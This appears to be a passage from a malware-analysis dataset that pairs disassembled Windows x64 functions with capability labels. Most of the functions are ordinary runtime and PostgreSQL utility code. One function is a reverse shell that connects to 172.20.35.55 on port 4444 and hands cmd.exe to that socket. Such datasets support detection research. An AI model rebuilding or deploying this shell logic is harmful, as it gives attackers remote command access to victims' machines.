joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400018c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400070a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001a70
mov rax, qword [0x1400070a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000190c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001997
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x1400018f0
mov rcx, r12
call fcn.140002370
mov rbp, rax
test rax, rax
je 0x140001acd
mov rax, qword [0x1400070a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.1400024a0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400070a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ab2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001990
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a20
add dword [0x1400070a4], 1
cmp ebx, 8
jae 0x1400019c8
test bl, 4
jne 0x140001a80
test ebx, ebx
je 0x1400019b9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001aa0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1400019b9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x1400019fa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400070a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001990
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001850
xor edi, edi
jmp 0x140001917
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1400019b9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1400019b9
mov rax, qword [0x1400070a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140001850
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001850
nop
nop dword [rax]
Function at 0x140001fe0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140007100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140002034
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000202b
test r12, r12
je 0x14000202b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002010
lea rcx, [0x140007100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002370
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140004360]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1400023e9
mov rcx, r10
call fcn.140002240
test eax, eax
je 0x1400023e9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1400023e6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400023dd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1400023e9
add r8, 0x28
cmp r8, r9
jne 0x1400023c8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1400027f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea rcx, [0x140001540]
jmp 0x140001510
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001630
lea rax, str.172.20.35.55
mov qword [rbp - 8], rax
mov word [rbp - 0xa], 0x115c
lea rdx, [0x140003180]
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x140003160], rax
mov word [0x1400030b0], 2
movzx eax, word [rbp - 0xa]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400030b2], ax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400030b4], eax
mov rax, qword [0x140003160]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400030b0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rcx, [0x1400030e0]
call sub.msvcrt.dll_memset
mov dword [0x1400030e0], 0x68
mov dword [0x14000311c], 0x100
mov rax, qword [0x140003160]
mov qword [0x140003140], rax
mov rax, qword [0x140003140]
mov qword [0x140003138], rax
mov rax, qword [0x140003138]
mov qword [0x140003130], rax
lea rax, [0x1400030c0]
mov qword [rsp + 0x48], rax
lea rax, [0x1400030e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, str.cmd.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x140001530
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
cmp ecx, 1
jle 0x1400010dc
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov qword [rsp + 0x30], rbx
mov rbx, qword [rdx + 8]
lea r8, str.__help
mov rsi, r9
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140001046
cmp rcx, 7
jne 0x140001030
jmp 0x140001069
movzx eax, byte [rbx]
cmp al, byte [reloc.LIBPQ.dll_Ordinal_45]
jne 0x14000107f
movzx eax, byte [rbx + 1]
cmp al, byte [0x14000c629]
jne 0x14000107f
movzx eax, byte [rbx + 2]
cmp al, byte [0x14000c62a]
jne 0x14000107f
mov rcx, qword [rdx]
call fcn.140006260
mov rcx, rax
call rsi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.__version
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1400010b5
movzx eax, byte [rbx]
cmp al, byte [reloc.LIBPQ.dll_Ordinal_45]
jne 0x1400010cd
movzx eax, byte [rbx + 1]
cmp al, byte [0x14000c63d]
jne 0x1400010cd
movzx eax, byte [rbx + 2]
cmp al, byte [0x14000c63e]
jne 0x1400010cd
mov rdx, rdi
lea rcx, str._s__PostgreSQL__12.4_n
call fcn.140006ce0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001440
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
test r9b, r9b
je 0x140001466
lea rcx, [0x14000c764]
call fcn.140006ce0
mov rdx, rdi
mov rcx, rsi
call sub.LIBPQ.dll_Ordinal_21
mov rbx, rax
test rax, rax
je 0x140001499
mov rcx, rax
call sub.LIBPQ.dll_Ordinal_33
cmp eax, 2
jne 0x140001499
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov eax, dword [0x140013ba8]
cmp eax, 4
jg 0x1400014c6
mov rcx, rsi
call sub.LIBPQ.dll_Ordinal_15
mov r8, rax
lea rdx, str.query_failed:__s
mov ecx, 4
call fcn.140004150
mov eax, dword [0x140013ba8]
cmp eax, 2
jg 0x1400014df
mov r8, rdi
lea rdx, str.query_was:__s
mov ecx, 2
call fcn.140004150
mov rcx, rsi
call sub.LIBPQ.dll_Ordinal_4
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140003ae0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
test rcx, rcx
jne 0x140003b1c
lea rcx, str.cannot_duplicate_null_pointer__internal_error__n
call sub.libintl_8.dll_libintl_gettext
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rdx, rbx
call fcn.140006c70
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
test rax, rax
jne 0x140003b58
lea rcx, str.out_of_memory_n
call sub.libintl_8.dll_libintl_gettext
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rdx, rbx
call fcn.140006c70
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x20
pop rbx
ret

Function at 0x140003b90
Capabilities:
Terminate process

Disassembly:
jmp 0x140003d70
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
test rcx, rcx
mov edi, 1
mov esi, edx
cmovne rdi, rcx
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x140003de3
test sil, 2
jne 0x140003dd1
lea rcx, str.out_of_memory_n
call sub.libintl_8.dll_libintl_gettext
lea ecx, [rbx + 2]
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rdx, rdi
call fcn.140006c70
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
test sil, 4
je 0x140003e3d
movzx eax, dil
or al, bl
test al, 3
jne 0x140003e30
cmp rdi, 0x400
ja 0x140003e30
xor edx, edx
lea rcx, [rdi + 3]
shr rcx, 2
lea rax, [rdi + rbx]
cmp rbx, rax
cmova rcx, rdx
test rcx, rcx
je 0x140003e3d
xor eax, eax
mov rdi, rbx
rep stosd dword [rdi], eax
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov rsi, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140003c30
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
test rcx, rcx
jne 0x140003c6c
lea rcx, str.cannot_duplicate_null_pointer__internal_error__n
call sub.libintl_8.dll_libintl_gettext
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rdx, rbx
call fcn.140006c70
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
test rax, rax
jne 0x140003ca8
lea rcx, str.out_of_memory_n
call sub.libintl_8.dll_libintl_gettext
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rdx, rbx
call fcn.140006c70
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x20
pop rbx
ret
Function at 0x140003d70
Capabilities:
Terminate process

Disassembly:
jmp 0x140003d70
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
test rcx, rcx
mov edi, 1
mov esi, edx
cmovne rdi, rcx
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x140003de3
test sil, 2
jne 0x140003dd1
lea rcx, str.out_of_memory_n
call sub.libintl_8.dll_libintl_gettext
lea ecx, [rbx + 2]
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rdx, rdi
call fcn.140006c70
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
test sil, 4
je 0x140003e3d
movzx eax, dil
or al, bl
test al, 3
jne 0x140003e30
cmp rdi, 0x400
ja 0x140003e30
xor edx, edx
lea rcx, [rdi + 3]
shr rcx, 2
lea rax, [rdi + rbx]
cmp rbx, rax
cmova rcx, rdx
test rcx, rcx
je 0x140003e3d
xor eax, eax
mov rdi, rbx
rep stosd dword [rdi], eax
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov rsi, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140004990
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xc40
mov rax, qword [0x140013210]
xor rax, rsp
mov qword [rsp + 0xc30], rax
mov rbx, rdx
mov rdi, rcx
mov rcx, rbx
lea rdx, str.postgres_12
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1400049d6
lea rdx, [0x14000d2dc]
xor ecx, ecx
call fcn.140009370
lea rdx, [rsp + 0x830]
mov rcx, rdi
call fcn.140004b00
test eax, eax
js 0x140004ad4
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x830]
call fcn.1400064b0
lea rdx, [rsp + 0x430]
mov rcx, rbx
call sub.libintl_8.dll_libintl_bindtextdomain
mov rcx, rbx
call sub.libintl_8.dll_libintl_textdomain
lea rcx, str.PGLOCALEDIR
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
jne 0x140004a6d
lea r9, [rsp + 0x430]
mov edx, 0x40e
lea r8, str.PGLOCALEDIR_s
lea rcx, [rsp + 0x20]
call fcn.1400069e0
lea rcx, [rsp + 0x2c]
call fcn.140005ac0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
test rax, rax
je 0x140004a6d
mov rcx, rax
call fcn.140009510
lea rcx, str.PGSYSCONFDIR
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
jne 0x140004ad4
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x830]
call fcn.140006390
lea r9, [rsp + 0x430]
mov edx, 0x40e
lea r8, str.PGSYSCONFDIR_s
lea rcx, [rsp + 0x20]
call fcn.1400069e0
lea rcx, [rsp + 0x2d]
call fcn.140005ac0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
test rax, rax
je 0x140004ad4
mov rcx, rax
call fcn.140009510
mov rcx, qword [rsp + 0xc30]
xor rcx, rsp
call fcn.14000a4a0
mov rbx, qword [rsp + 0xc60]
add rsp, 0xc40
pop rdi
ret
Function at 0x140005480
Capabilities:
Get session user name
Terminate process

Disassembly:
push rdi
sub rsp, 0x20
mov rdi, rcx
mov dword [rsp + 0x38], 0x101
lea rcx, [0x140013340]
lea rdx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x1400054fd
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.user_name_lookup_failure:_error_code__lu
mov ebx, eax
call sub.libintl_8.dll_libintl_gettext
mov rcx, rax
mov edx, ebx
call fcn.140005740
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbx
lea rdx, str._s:__s_n
mov rcx, rax
mov r8, rdi
call fcn.140006c70
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rbx, qword [rsp + 0x30]
lea rax, [0x140013340]
add rsp, 0x20
pop rdi
ret

Function at 0x140005740
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov edi, Ordinal_130
mov ecx, edi
mov r14d, dword [rax]
call fcn.140003cc0
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
lea r9, [rsp + 0x78]
mov edx, edi
mov rcx, rsi
mov dword [rax], r14d
mov rbp, qword [rsp + 0x70]
mov r8, rbp
call fcn.140006950
test eax, eax
js 0x1400057f8
nop dword [rax]
movsxd rcx, eax
cmp rcx, rdi
jb 0x1400057b5
cmp eax, 0x3ffffffe
ja 0x140005844
inc eax
movsxd rbx, eax
cmp rbx, rdi
jb 0x140005834
mov rcx, rsi
call fcn.140003d60
mov rcx, rbx
call fcn.140003cc0
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
lea r9, [rsp + 0x78]
mov rdx, rbx
mov rcx, rsi
mov dword [rax], r14d
mov rbp, qword [rsp + 0x70]
mov r8, rbp
call fcn.140006950
mov rdi, rbx
test eax, eax
jns 0x1400057a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ecx, dword [rax]
call fcn.1400097f0
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbp
lea rdx, str.vsnprintf_failed:__s_with_format_string___s__n
mov rcx, rax
mov r8, rbx
call fcn.140006c70
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, rsi
add rsp, 0x38
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
lea rcx, str.out_of_memory_n
call sub.libintl_8.dll_libintl_gettext
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rdx, rbx
call fcn.140006c70
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140006b40
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x478
mov rax, qword [0x140013210]
xor rax, rsp
mov qword [rsp + 0x450], rax
test rcx, rcx
jne 0x140006b87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14000a4a0
add rsp, 0x478
ret
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x470], rbx
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x450]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x460], rdi
mov dword [rsp + 0x40], 0
mov byte [rsp + 0x44], 0
call fcn.140006f20
mov rcx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x20]
movzx ebx, byte [rsp + 0x44]
sub rdi, rcx
test bl, bl
jne 0x140006c25
test rdi, rdi
je 0x140006c25
mov r9, qword [rsp + 0x38]
mov r8, rdi
mov qword [rsp + 0x468], rsi
mov esi, 1
mov edx, esi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov ecx, dword [rsp + 0x40]
add ecx, eax
movzx ebx, bl
cmp rax, rdi
cmovne ebx, esi
mov rsi, qword [rsp + 0x468]
jmp 0x140006c29
mov ecx, dword [rsp + 0x40]
mov rdi, qword [rsp + 0x460]
test bl, bl
mov rbx, qword [rsp + 0x470]
mov eax, 0xffffffff
cmovne ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14000a4a0
add rsp, 0x478
ret

Function at 0x140007670
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push r14
sub rsp, 0x20
mov rbx, r8
mov ebp, edx
mov r14d, ecx
cmp edx, 1
jne 0x1400076d9
mov rax, qword [r8 + 0x10]
test rax, rax
je 0x1400076bf
cmp qword [r8], rax
jb 0x1400076bf
cmp qword [r8 + 0x18], 0
jne 0x1400076b7
inc dword [r8 + 0x20]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rcx, rbx
call fcn.140007bc0
mov rax, qword [rbx]
mov byte [rax], r14b
inc qword [rbx]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
test edx, edx
jle 0x140007771
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
nop dword [rax + rax]
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x1400076fd
sub eax, dword [rbx]
jmp 0x1400076ff
mov eax, ebp
test eax, eax
jg 0x140007741
mov r9, qword [rbx + 0x18]
test r9, r9
je 0x140007764
cmp byte [rbx + 0x24], 0
mov rcx, qword [rbx + 8]
jne 0x140007738
mov rdi, qword [rbx]
sub rdi, rcx
je 0x140007738
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add dword [rbx + 0x20], eax
cmp rax, rdi
je 0x140007738
mov byte [rbx + 0x24], 1
mov rax, qword [rbx + 8]
mov qword [rbx], rax
jmp 0x14000775e
mov rcx, qword [rbx]
cmp eax, ebp
mov esi, ebp
mov edx, r14d
cmovl esi, eax
movsxd rdi, esi
mov r8, rdi
call sub.VCRUNTIME140.dll_memset
add qword [rbx], rdi
sub ebp, esi
test ebp, ebp
jg 0x1400076f0
jmp 0x140007767
add dword [rbx + 0x20], ebp
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140007790
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, r8
mov ebp, edx
mov r14, rcx
cmp edx, 1
jne 0x1400077e9
mov rax, qword [r8 + 0x10]
movzx edi, byte [rcx]
test rax, rax
je 0x1400077db
cmp qword [r8], rax
jb 0x1400077db
cmp qword [r8 + 0x18], 0
jne 0x1400077d3
inc dword [r8 + 0x20]
jmp 0x140007875
mov rcx, rbx
call fcn.140007bc0
mov rax, qword [rbx]
mov byte [rax], dil
inc qword [rbx]
jmp 0x140007875
test edx, edx
jle 0x140007875
mov qword [rsp + 0x30], rsi
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x140007803
sub eax, dword [rbx]
jmp 0x140007805
mov eax, ebp
test eax, eax
jg 0x140007847
mov r9, qword [rbx + 0x18]
test r9, r9
je 0x14000786d
cmp byte [rbx + 0x24], 0
mov rcx, qword [rbx + 8]
jne 0x14000783e
mov rdi, qword [rbx]
sub rdi, rcx
je 0x14000783e
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add dword [rbx + 0x20], eax
cmp rax, rdi
je 0x14000783e
mov byte [rbx + 0x24], 1
mov rax, qword [rbx + 8]
mov qword [rbx], rax
jmp 0x140007867
mov rcx, qword [rbx]
cmp eax, ebp
mov esi, ebp
mov rdx, r14
cmovl esi, eax
movsxd rdi, esi
mov r8, rdi
call sub.VCRUNTIME140.dll_memmove
add qword [rbx], rdi
add r14, rdi
sub ebp, esi
test ebp, ebp
jg 0x1400077f6
jmp 0x140007870
add dword [rbx + 0x20], ebp
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140007bc0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 8]
cmp byte [rbx + 0x24], 0
jne 0x140007c1e
mov qword [rsp + 0x30], rdi
mov rdi, qword [rbx]
sub rdi, rcx
je 0x140007c10
mov r9, qword [rbx + 0x18]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add dword [rbx + 0x20], eax
cmp rax, rdi
mov rax, qword [rbx + 8]
mov qword [rbx], rax
je 0x140007c05
mov byte [rbx + 0x24], 1
mov rdi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
mov rdi, qword [rsp + 0x30]
mov qword [rbx], rcx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
add rsp, 0x20
pop rbx
ret
Function at 0x140009510
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rbx, rax
test rax, rax
je 0x140009619
mov edx, Ordinal_64
mov rcx, rax
call sub.VCRUNTIME140.dll_strchr
test rax, rax
je 0x140009610
mov byte [rax], 0
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx + 1], 0
jne 0x140009550
test rcx, rcx
je 0x140009574
lea rdx, [rax + 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x140009610
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [str.msvcrt]
test rax, rax
je 0x1400095fc
mov qword [rsp + 0x30], rbp
xor ebp, ebp
mov qword [rsp + 0x40], rsi
mov ebx, ebp
lea rsi, str.msvcrt
nop
lea r8, [rsp + 0x38]
mov qword [rsp + 0x38], rbp
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
test eax, eax
je 0x1400095e5
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400095e5
lea rdx, [0x14000f808]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400095da
mov rcx, rdi
call rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rsi + rbx*8 + 8]
inc rbx
test rax, rax
jne 0x1400095a0
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x30]
mov rcx, rdi
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__putenv]
mov rcx, rbx
